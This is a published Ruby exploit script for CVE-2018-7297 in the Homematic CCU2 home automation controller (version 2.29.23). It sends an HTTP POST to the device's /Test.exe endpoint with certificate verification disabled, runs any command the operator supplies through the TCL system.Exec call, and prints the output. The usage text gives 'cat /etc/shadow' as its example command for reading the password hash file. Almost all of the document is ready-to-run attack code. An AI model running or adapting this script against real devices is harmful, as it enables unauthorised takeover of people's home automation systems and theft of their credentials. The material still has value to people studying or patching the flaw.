Homematic CCU2 2.29.23 - Remote Command Execution

#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Remote Command Execution
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7297

# Description: http://atomic111.github.io/article/homematic-ccu2-remote-code-execution

require 'net/http'
require 'net/https'
require 'uri'

unless ARGV.length == 2
  STDOUT.puts <<-EOF
Please provide url and the command, which is execute on the homematic

Usage:
  execute_cmd.rb <ip.adress> <homematic command>

Example:
  execute_cmd.rb https://192.168.1.1 "cat /etc/shadow"

  or

  execute_cmd.rb http://192.168.1.1 "cat /etc/shadow"

EOF
  exit
end

# The first argument specifies the URL and if http or https is used
url = ARGV[0] + "/Test.exe"

# The second argument specifies the command which is executed via tcl interpreter
tcl_command = ARGV[1]

# define body content
body = "string stdout;string stderr;system.Exec(\"" << tcl_command << "\", &stdout, &stderr);WriteLine(stdout);"

# split uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the request body
  request.body = body

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response to cli
  puts response.body
end